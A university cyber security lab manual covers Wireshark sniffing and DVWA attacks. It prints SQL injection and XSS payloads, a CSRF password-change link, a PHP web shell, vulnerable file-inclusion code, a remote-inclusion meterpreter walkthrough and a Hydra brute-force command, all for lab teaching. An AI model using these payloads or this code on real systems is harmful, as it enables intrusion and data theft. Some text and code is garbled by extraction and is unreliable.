Cyber Security Lab Manual
Cyber Security Lab Manual
Experiment-1
=====================================================================================
Basic Packet Inspection: Capture network traffic using Wire shark and analyze basic protocols like HTTP, DNS,
and SMTP to understand how data is transmitted and received.
2. Objectives: To observe the performance in promiscuous & non-promiscuous mode & to find the packets based
on different filters.
• To understand the flow of network packets through the TCP/IP Stack
• Understand the TCP three-way handshake protocol
• To practice capturing FTP packet flow
• To analyze the FTP packet flow
• To learn how to use a network traffic capture and analysis tool, like Wireshark™
Packet Capturing (Packet Sniffing): A packet sniffer is an application which can capture and analyze network
traffic which is passing through a system’s Network Interface Card (NIC). The sniffer sets the card to promiscuous
mode, which means all traffic is read, whether it is addressed to that machine or not. The figure below shows an
attacker sniffing packets from the network, and the Wireshark packet sniffer/analyzer (formerly known as ethereal).
5. Theory: Wireshark, a network analysis tool formerly known as Ethereal, captures packets in real time and display
them in human-readable format. Wireshark includes filters, color-coding and other features that let you dig deep into
network traffic and inspect individual packets.
[Link]:
➢ Network administrators use it to troubleshoot network problems
➢ Network security engineers use it to examine security problems
➢ Developers use it to debug protocol implementations
➢ People use it to learn network protocol internals beside these examples can be helpful in many other
situations too.
5.2. Features:The following are some of the many features wireshark provides:
➢ Available for UNIX and Windows.
➢ Capture live packet data from a network interface.
➢ Open files containing packet data captured with tcpdump/WinDump, Wireshark, and a number of other
packet capture programs.
➢ Import packets from text files containing hex dumps of packet data.
➢ Display packets with very detailed protocol information.
➢ Export some or all packets in a number of capture file formats.
➢ Filter packets on many criteria.
➢ Search for packets on many criteria.
➢ Colorize packet display based on filters.
➢ Create various statistics.
Introduction to Wireshark: Wireshark is a network packet analyzer. A network packet analyzer presents captured packet
data in as much detail as possible. You could think of a network packet analyzer as a measuring device for examining what’s
happening inside a network cable, just like an electrician uses a voltmeter for examining what’s happening inside an electric
cable (but at a higher level, of course) Downloading.
Steps: 1. Your first step is to head to the Wireshark download page and locate the Windows installer.
2. You will be presented with the Wireshark wizard to guide you through the installation. Click “Next.”
[Link], you can review, agree to the license agreement, and click “Noted” to continue.
Once your file is downloaded, you can open the file from your Download folder.
4. The next screen will ask if you want to donate to the Wireshark Foundation to help support Wireshark and
Sharkfest at [Link] Click “Next” when finished.
5. Next, you will be asked what components you want to install. You can make your choice and then click“Next.”
6. The following screen will ask if you want to create any shortcuts and if you want to associate trace file
extensions with Wireshark (recommended).
7. Now you must install Ncap (an open-source library for packet capture and network analysis). It’s a library
allowing Wireshark to capture and analyze network traffic effectively. It enhances Wireshark's capabilities
by providing optimized packet capture.
8. Wireshark will now begin the installation process.
Objective 1: Basic Packet Inspection: Capture network traffic using Wire shark and analyze basic protocols like
HTTP, DNS, and SMTP to understand how data is transmitted and received.
SENDER/BROWSER RECEIVER/SERVER
Note: Wireshark is an extremely powerful tool, and this tutorial is just scratching the surface of what you can do with
it. Professionals use it to debug network protocol implementations, examine security problems and inspect network
protocol internals.
Conclusion: In this experiment we analyze various packet sniffing tools that monitor network traffic transmitted
between legitimate users or in the network. The packet sniffer is network monitoring tool. It is opted for network
monitoring, traffic analysis, troubleshooting, Packet grapping, message, protocol analysis, penetration testing and
many other purposes.
=============================================================================================
Objective: Detecting Suspicious Activity: Analyze network tra8ic to identify suspicious patterns, such as repeated
connection attempts or unusual communication between hosts.
Step 1:
Check the normal activity of di8erent protocol on the network by checking protocol hierarchy and find the
normal information being transferred under di8erent protocols susch as TCP and UDP.
Protocol heirarchy:
Step 2: Open [Link] and observer the suspicious data being transferred in TCP protocol and observe
the path of the same.
Step 4: Observe line 21 as some gif data is being transferred with unreadable language.
Line 21 :
Step 5: Check the TCP data by following TCP stream of the same and observe that the hacker istrying to access the
adming control by getting password and other credentials.
Step 6: Observe the suspicious activity by loading the package “ arp_poison.pcap” and check that there is man in
the middle attack is being happened in line no. 54, 55,56 and 57.
Objective: Malware Traffic Analysis: Analyze captured traffic to identify signs of malware communication, such as
command-and-control traffic or data infiltration.
Package: [Link]
What are we looking for:
1. What are the infected file(s) downloaded and their hashes?
2. What is URL/ Domain of the infected site?
3. What is the IP address of the infected website?
4. What is the IP address of the infected machine ?
5. What is the hostname of the infected machine?
6. What is the mac address of the infected machine ?
We can directly upload the files to virus total but we avoid due to confidentiality, instead we find
the hash of file and then check for malicious activity.
Now, we checked the hash in virus total and found it infected.
2. What is URL/ Domain of the infected site?
Answer: see the host name of infected file.
[Link]
EXPERIMENT 4
Objective 1: Simulate a scenario where a password is transmitted in plaintext. Use wire shark to capture and
analyze the packets to demonstrate the vulnerability and the importance of encryption.
Password Capturing/Sniffing
Wireshark can capture not only passwords but any type of information transmitted over the network:
usernames, email addresses, personal information, etc. As long as we can capture network traffic, Wireshark
can sniff passing passwords.
In sniffing can include passwords for various protocols such as HTTP, FTP, Telnet, etc. the captured data
can be used to troubleshoot network problems, but can also be used maliciously to gain unauthorized access
to sensitive information.
So, here we will see how we can capture the password using the Wireshark network capture analyzer. and
see the outputs of the following steps.
Step 1: First of all, open your Wireshark tool in your window or in Linux virtual machine. and start
capturing the network. suppose I am capturing my wireless fidelity.
Step 2: After starting the packet capturing we will go to the website and login the credential on that website
as you can see in the image.
2
Step 3: Now after completing the login credential we will go and capture the password in Wireshark. for that
we have to use some filter that helps to find the login credential through the packet capturing.
Step 4: Wireshark has captured some packets but we specifically looking for HTTP packets. so in the
display filter bar we use some command to find all the captured HTTP packets. as you can see in the below
image the green bar where we apply the filter.
http
3
Step 5: So there are some HTTP packets are captured but we specifically looking for form data that the user
submitted to the website. for that, we have a separate filter
As we know that there are main two methods used for submitting form data from web pages like login forms
to the server. the methods are-
GET
POST
Step 6: So firstly for knowing the credential we use the first method and apply the filter for the GET
methods as you can see below.
[Link] == "GET"
GET method
As you can see in the image there are two packets where the login page was requested with a GET request as
well, but there is no form data submitted with a GET request.
Step 7: Now after checking the GET method if we didn’t find the form data, then we will try the POST
method for that we will apply the filter on Wireshark as you can see.
[Link] == "POST"
4
As you can see we have a packet with form data click on the packet with user info and the application URL
encoded. and click on the down-
HTML form URL Encoded where the login credential is found. login credential as it is the same that we
filed on the website in step 2.
Form item: "uname" = "Tonystark_44"
Form item: "pass" = "tony@1234"
Experiment 5
Objective: ARP Poisoning Attack: Set up an ARP poisoning attack using tools like Ettercap. Analyze
the captured packets to understand how the attack can lead to a Man-in-the-Middle scenario.
Copy MAC address from above and run command in wireshark @kali
Aim is to capture the traffic between Target and default gate way on same line.
OR
AIM: SQL Injection: Use DVWA to practice SQL injection attacks. Demonstrate how an attacker can
manipulate input fields to extract, modify, or delete database information.
The main reason that makes websites vulnerable to SQL injection attacks can be traced back to the web
development stage. Some of the techniques that can be implemented to prevent SQL injection include:
Input validation: If the website allows user input, this input should be verified whether it’s allowed or not.
Parametrized queries: This is a technique where the SQL statements are precompiled and all you have to
do is supply the parameters for the SQL statement to be executed.
Use Stored procedures
Use character-escaping functions
Avoid administrative privileges - Don't connect your application to the database using an account with
root access
Implement a Web application firewall (WAF)
Any penetration tester who wants to get started or advance their skills in SQL injection will need a vulnerable
platform to practice. There are many vulnerable applications available both for offline and online use.
6.3 Pre-requisites: This tutorial expects that you have an up and running DVWA set up. If you have not yet
installed DVWA on your Kali Linux system, please check out the article on the link
[Link] which gives a step-by-step guide.
After successfully installing DVWA, open your browser and enter the required
URL [Link]/dvwa/[Link] Log in using the username “admin” and password as “password”. These are the
default DVWA login credentials. After a successful login, set the DVWA security to LOW then click on SQL
Injection on the left-side menu.
Step 2: Basic Injection
On the User ID field, enter “1” and click Submit. That is supposed to print the ID, First_name, and Surname on the
screen as you can see below.
sql
$getid=“SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”;
DVWA Basic SQL Injection: Interestingly, when you check the URL, you will see there is an injectable
parameter which is the ID. Currently, my URL looks like this:
bash
[Link]
Let’s change the ID parameter of the URL to a number like 1,2,3,4 etc. That will also return
the First_name and Surname of all users as follows:
bash
ID: 2
First name: Gordon
Surname: Brown
ID: 3
First name: Hack
Surname: Me
ID: 4
First name: Pablo
Surname: Picasso
If you were executing this command directly on the DVWA database, the query for User ID 3 would look like this:
sql
SQL Injection
Step 3: Always True Scenario
An advanced method to extract all the First_names and Surnames from the database would be to use the input: %’
or ‘1’=’1’
The percentage % sign does not equal anything and will be false. The ‘1’=’1’ query is registered as True since 1
will always equal 1. If you were executing that on a database, the query would look like this:
sql
SELECTfirst_name, last_nameFROM users WHEREuser_id = ‘%’or‘1’=’1’;
To know the database version the DVWA application is running on, enter the text below in the User ID field.
Bash
%’ or 0=0 union select null, version() #
The database version will be listed under surname in the last line as shown in the image below.
Step 5: Display Database User: To display the Database user who executed the PHP code powering the database,
enter the text below in the USER ID field.
Bash
%’ or 0=0 union select null, user() #
The Database user is listed next to the surname field in the last line as in the image below.
Display database user
To display the database name, we will inject the SQL code below in the User ID field.
Bash
%’ or 0=0 union select null, user() #
The database name is listed next to the surname field in the last line.
Display database name
The Information Schema stores information about tables, columns, and all the other databases maintained by
MySQL. To display all the tables present in the information_schema, use the text below.
Bash
%’ and 1=0 union select null, table_name from information_schema.tables #
Database schema
For this step, we will print all the tables that start with the prefix user as stored in the information_schema. Enter
the SQL code below in the User ID.
%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#
User tables
Step 9: Display all the columns fields in the information_schema user table
We will print all the columns present in the users’ table. This information will include column information like
User_ID, first_name, last_name, user, and password. Enter the input in the User_ID field.
table_name = ‘users’ #
Column fields
Step 10: Display Column field contents: To display all the necessary authentication information present in the
columns as stored in the information_schema, use the SQL syntax below:
me,
From the image above, you can see the password was returned in its hashed format. To extract the password,
copy the MD5 hash and use applications like John the Ripper to crack it. There are also sites available on the
internet where you can paste the hash and sometimes, you will be able to extract the password.
Conclusion: From the various examples listed in this article, SQL injection proves to be a critical vulnerability
that can exist in a system. Not only can attackers exploit it to reveal user or customer information, but it can also
be used to corrupt the entire database thus bringing the whole system down. As of writing this post (2021),
Injection is listed as the number one vulnerability in the OWASP Top 10 Vulnerabilities summary. The DVWA
acts as a reliable resource for both penetration testers who want to improve their skills and web developers who
want to develop systems with security in mind.
AIM: Cross-Site Scripting (XSS): Exploit XSS vulnerabilities in DVWA to inject malicious scripts into
web pages. Show the potential impact of XSS attacks, such as stealing cookies or defacing websites.
7.1 Introduction: XSS is a technique in which attackers inject malicious scripts into a target website and may
allow them to gain access control of the website. If a website allows users to input data like comment, username
field and email address field without controls then attacker can insert malicious code script as well.
7.2 TYPES OF XSS:
Reflected XSS
Stored XSS
Dom Base XSS
Let’s try cross site scripting virtual environment
7.3 Requirements:
Xampp or wamp
DVWA (Damn vulnerable web application)
Browser like Firefox, explorer, Cyberfox, Chrome e.t.c
7.5 Stored XSS (Cross site scripting):SXSS: Stored cross-site scripting (XSS) In this case the hacker malicious
code is stored target website and the web server. when an attacker can send malicious JavaScript into the website
and that script is executed other users’ computers that is stored (XSS) cross-site scripting.
Payload: localhost/dvwa/vulnerabilities/xss_d/?default=English#<script>alert([Link])</script>
and reload browser.
AIM: Cross-Site Request Forgery (CSRF): Set up a CSRF attack in DVWA to demonstrate how attackers can manipulate
authenticated users into performing unintended actions.
Introduction: CSRF stands for Cross-Site Request Forgery. It is a type of attack that occurs when a malicious web
site, email, or blog causes a user’s web browser to perform an unwanted action on a trusted site for which the user is
currently authenticated. The attack exploits the trust that a site has for a user’s browser and can be used to transfer
funds, change account information, or perform other malicious actions.
As usual, the default credentials are:
Username: admin
Password: password
Step 1: CSRF On DVWA With Low-Security Level: As the level implies, this task is extremely easy. Moreover, I
believe it is the best level for comprehending the fundamental concept of CSRF.
By opening the page, we see a form where we can change our password.
The first thing we did is to try change the password and observe the result.
And after doing that we are still on the same page, but looking at the URL bar, there is an interesting value.
For example, if the new password is: “admin” the result will be something like this:
http:/localhost:9999/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
It’s clear that the form accepts a GET HTTP request and sends three parameters named:
password_new
password_conf
Change
So we can imagine an attacker that will send you a malicious address like:
[Link]
If he finds a way to let you click when you are still authenticated, your password will automatically be admin.
Step 2: CSRF On DVWA With Medium-Security Level:
The flaw in this code is a Cross-Site Request Forgery (CSRF) vulnerability. The code uses the HTTP
Referer header to check if the request came from the same server, assuming it’s a trusted source. However, the
Referer header can be easily manipulated by an attacker. This allows an attacker to create a malicious website or
craft a URL that makes a request to this script, tricking the user’s browser into performing an unwanted action on
their behalf, such as changing their password without their knowledge or consent.
In the valid request, we observe the presence of a Referer indicating the request’s origin. This alignment
allows the request to proceed successfully. Now, consider intercepting the unauthorized request using Burp
and including the HTTP Referer. This modified approach aims to mimic the legitimate request structure.
The code present in the index.html1 file utilizes an iframe to embed a page and runs a script to extract the
CSRF token from the document. Subsequently, the extracted token is employed to initiate another request for
altering the user’s password, but this time with the correct token acquired from the document elements.
The process involves loading the DVWA password change page within an iframe, extracting the CSRF
token using JavaScript, and then utilizing this token to create a new request for changing the user’s password. By
doing so, the attacker can circumvent CSRF protection, enabling them to modify the user’s password without the
user’s awareness.
To execute the code server-side, a practical approach is to leverage the file upload feature. This involves
uploading the [Link] file onto the server, facilitating the implementation of the code on the server side.
After uploading the HTML file to the server, the file will be accessible at a specific path.
Now you have your malicious link to send to your victim that has this format:
[Link]:9999/hackable/uploads/index.html1
By redirecting to this path, using localhost:9999, the “click me” option will be displayed.
After clicking this option, the user’s password will be successfully changed. This sequence exemplifies how
an attacker can exploit a CSRF vulnerability to execute a malicious payload, surreptitiously modifying a user’s
password without their knowledge or consent.
The password is changed successfully!
AIM: File Inclusion Vulnerabilities: Explore remote and local file inclusion vulnerabilities in DVWA. Show how attackers can
include malicious files on a server and execute arbitrary code.
File inclusion works by allowing an application to dynamically include and execute files based on user input. But
just to stress more the concept, try to imagine this example:
We consider a hypothetical application that:
allows users to upload their own profile pictures
generates a link to the uploaded picture and displays it on the user’s profile page.
However, if the application does not properly validate the file type or the location of the file, an attacker could:
exploit this by uploading a malicious file and tricking the application into executing it.
get unauthorized access to some sensitive data
What Types Of File Inclusion Vulnerability Exist?
There are two main types of file inclusion vulnerabilities: local file inclusion (LFI) and remote file inclusion (RFI).
1. Local file inclusion (LFI) vulnerabilities occur when an attacker can manipulate an application to include and
execute files from the local file system. We can find this particular vulnerability in web applications that don’t
check for user input and load dynamically some files.
It can be extremely dangerous when the target application has also an Unrestricted File Upload vulnerability as
we have seen in the related article.
The combination of these two vulnerabilities can let an attacker do whatever he wants. In other cases, the
vulnerability can be still dangerous but it can have some limits.
2. Remote file inclusion (RFI) vulnerabilities occur when an attacker can manipulate an application to include
and execute files from a remote location. We can find this vulnerability in applications that dynamically include
files from external sources, based on user input. Such as a website that displays user-generated content. An
attacker can exploit this type of vulnerability by tricking the application into including and executing a
malicious file from a remote server under his [Link] other words:
LFI allows the inclusion of files in the local file system
With RFI the file can be on a remote server.
Path traversal, also known as directory traversal, is a type of vulnerability that allows an attacker to access
files and directories that are outside of the intended directory structure. The attacker in this case
manipulates the file path of a request to access files or directories that should not be visible. For example,
an attacker could exploit a path traversal vulnerability by accessing the root directory of a server and
viewing sensitive files that are not normally accessible to them.
File inclusion, on the other hand, involves manipulating an application to include and execute files from
the file system.
Overall, while both path traversal and file inclusion involve manipulating the file system of a target system, they
target different types of vulnerabilities and their exploitation is pretty different.
Summing up, Directory Path Traversal vulnerabilities allow an attacker to access files and directories that are
outside of the intended directory structure, while File Inclusion vulnerabilities allow an attacker to include and
execute arbitrary files on a target system.
So the main difference is that File Inclusion, as the name says, includes a file and then executes it.
Example Of LFI
Even if it’s just an introduction to file inclusion vulnerability, I want to show you a practical example of LFI.
Obviously, I’ll try to keep the technical part as little as possible.
First of all, to exploit this vulnerability we want our malicious payload inside the target server. So in order to
simulate a real case, I want to couple this vulnerability with the already seen “Unrestricted File Upload“
Here is an example of an application that has these vulnerabilities:
Local File Inclusion
Unrestricted File Upload
If you want to run it on your machine, you should have an HTTP server which supports PHP (XAMPP can be a
valid alternative). In this tutorial, I assume you are working on your Kali Machine, so you just need to install PHP
by typing this in your terminal and then use the built-in server:
sudo apt install php libapache2-mod-php
Now you can create a file called “[Link]” and write this code inside:
[Link]
<?php
// include the file passed as GET parameter
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<link rel="stylesheet" href="[Link]
integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T"
crossorigin="anonymous">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-6">
<form action="" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="file">Upload file</label>
<input type="file" class="form-control" name="file" id="file">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
</body>
</html>
This is a PHP script that:
mkdir uploads
Now we can execute our simple PHP server with the command:
php -S [Link]:8000 -t .
Finally, this is the result in our browser by typing [Link]
Now you can look for a backdoor or maybe create it by yourself, I’m going to use the one at this address, and this is
the code:
<?php
if(isset($_REQUEST['cmd'])){e
cho "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
So let’s upload it with the form, and after that, it’s inside the “uploads” folder, so we can execute cat or whatever
we want by typing an URL like this:
[Link]
In this case, it will prompt the content of /etc/passwd.
It would be pretty easy to understand how to take advantage of that to take down the system totally.
Example Of RFI
Here is an example of an application that has a remote file inclusion vulnerability:
[Link]
<?php
// include the file at the URL passed as GET parameter
$url = $_GET['url'];
include($url);
?>
This is similar to what we have already seen, however, in this case, the backdoor is inside a remote server.
Before keep hacking, we need to allow the remote file upload that is turned off by default, so let’s stop the server
and create a file called “[Link]”.
allow_url_include=1
Now we can run again with the new configuration:
Let’s imagine having those two machines, and jumping into the attacker one, after that you can create your payload
with msfvenom in this way:
In the end, we have a backdoor called “[Link]”, now we need to host it, and we can do it with a simple Python
HTTP server by typing in our terminal:
python -m [Link]
And if everything is ok, you should see your server running.
At this point, still, from the attacker’s machine, you have to:
Open your browser and connect to the vulnerable app with this address
[Link]
In my case, I’m going to connect to:
[Link]
And we did everything! Now in your attacker machine, you have a working “meterpreter” session and you can get control of
the target!
1. Proper input validation. One of the most effective ways to prevent file inclusion vulnerabilities is to validate all user-
provided input. This technique ensures that the file does not contain any malicious code. This can be done by:
using strict input filtering
sanitizing user-provided data
only allowing certain file types to be uploaded.
2. Use of a whitelist. Another way to prevent file inclusion vulnerabilities is to use a whitelist and only allow access to files
and directories on that list. This can prevent attackers from accessing sensitive files or directories that are outside of the
intended directory structure.
3. Use of a blacklist. It’s the opposite approach with respect to the whitelist, it’s probably less effective and prone to errors.
It consists in denying access to several predefined structures in the blacklist.
4. Regular security updates. In case you are a webmaster or system administrator keeping your system and applications up
to date with the latest security patches is crucial for preventing file inclusion vulnerabilities. Regularly applying security
updates can help to fix known vulnerabilities and prevent attackers from exploiting them.
5. Security training and awareness. Educating developers about the risks of file inclusion vulnerabilities and how to
prevent them is an important part of protecting against these types of attacks. Providing regular security training and
awareness programs can help employees to understand the risks and take steps to prevent file inclusion vulnerabilities in
their own work.
Conclusion: In conclusion, file inclusion vulnerabilities are a serious threat to the security of web applications. These
vulnerabilities allow attackers to include and execute arbitrary files on a target system, potentially gaining unauthorized access
to sensitive data or compromising the system in other ways. As we have seen in the examples above, file inclusion
vulnerabilities can be difficult to detect and protect against, making them a common target for hackers. Therefore, it is
essential for organizations to take steps to secure their systems against file inclusion vulnerabilities and regularly monitor for
potential attacks. By doing so, they can safeguard their systems and prevent costly and damaging breaches.
AIM: Brute-Force and Dictionary Attacks: Use DVWA to simulate login pages and demonstrate brute-force and dictionary
attacks against weak passwords. Emphasize the importance of strong password policies.
To log into DVWA default username and password are admin and password.
In this walkthrough, we will brute force and gain a username and password.
Brute forcing is a trial-and-error method attackers use to gain unauthorized access to systems or
information. It’s essentially trying every possible combination of passwords, encryption keys, or other
secrets until they find the right one.
Target
Login credentials
Methods
Dictionary attacks: Trying common words, phrases, and combinations based on user information or known
password patterns.
Rainbow tables: Pre-computed lists of millions of possible password hashes to quickly compare against target
hashes.
Hybrid attacks: Combining dictionary attacks with brute force, testing variations of common passwords, or
using leaked data to personalize guesses.
Credential stuffing: Automated tools attempt to use leaked credentials from other breaches to gain access to
various accounts.
Hydra: Hydra is a powerful tool used for brute-forcing passwords and encryption keys. It’s known as a
multi-protocol login cracker, meaning it can attack various login services and protocols.
hydra [Link] -s 80 -L /path of username -P /path of password file wordlist -1 http-get-form “/URL of
page=Cookie:PHPSESSID=cookie value; security=low:F=Username and/or password incorrect.”
hydra command
ck.
Attempts to crack a web login form located at [Link]
Performs HTTP GET requests with modified username and password fields in each attempt.
Continuously tries different combinations until it either finds a successful login or exhausts all
combinations.
Using any one of these we can log in for low and the same method can be done do, medium as well but it
is a few seconds late.
LIST OF EXPERIMENTS
Course: [Link] Sem/Year:IV/II Subject Code: BCS453
Branch: CSE Subject Name: Cyber Security Workshop
LIST OF EXPERIMENTS
Module 1: Packet Analysis using Wire shark
1. Basic Packet Inspection: Capture network traffic using Wire shark and analyze basic protocols like HTTP,
DNS, and SMTP to understand how data is transmitted and received.
2. Detecting Suspicious Activity: Analyze network traffic to identify suspicious patterns, such as repeated
connection attempts or unusual communication between hosts.
3. Malware Traffic Analysis: Analyze captured traffic to identify signs of malware communication, such as
command-and-control traffic or data infiltration.
4. Password Sniffing: Simulate a scenario where a password is transmitted in plaintext. Use Wireshark to
capture and analyze the packets to demonstrate the vulnerability and the importance of encryption.
5. ARP Poisoning Attack: Set up an ARP poisoning attack using tools like Ettercap. Analyze the captured
packets to understand how the attack can lead to a Man-in-the-Middle scenario..
Module 2: Web Application Security using DVWA
6. SQL Injection: Use DVWA to practice SQL injection attacks. Demonstrate how an attacker can
manipulate input fields to extract, modify, or delete database information.
7. Cross-Site Scripting (XSS): Exploit XSS vulnerabilities in DVWA to inject malicious scripts into web
pages. Show the potential impact of XSS attacks, such as stealing cookies or defacing websites.
8. Cross-Site Request Forgery (CSRF): Set up a CSRF attack in DVWA to demonstrate how attackers can
manipulate authenticated users into performing unintended actions.
9. File Inclusion Vulnerabilities: Explore remote and local file inclusion vulnerabilities in DVWA. Show
how attackers can include malicious files on a server and execute arbitrary code.
10. Brute-Force and Dictionary Attacks: Use DVWA to simulate login pages and demonstrate brute-force
and dictionary attacks against weak passwords. Emphasize the importance of strong password policies.
Value Added Programs:
1. To Study different types of Network cables (Copper and Fiber) and prepare cables (Straight and Cross)
to connect Two or more systems. Use crimping tool to connect jacks. Use LAN tester to connect the
cables.
2. Work with the commands Ping, Tracert, Ipconfig, pathping, telnet, ftp, getmac, ARP, Hostname, Nbtstat,
netdiag, and Nslookup.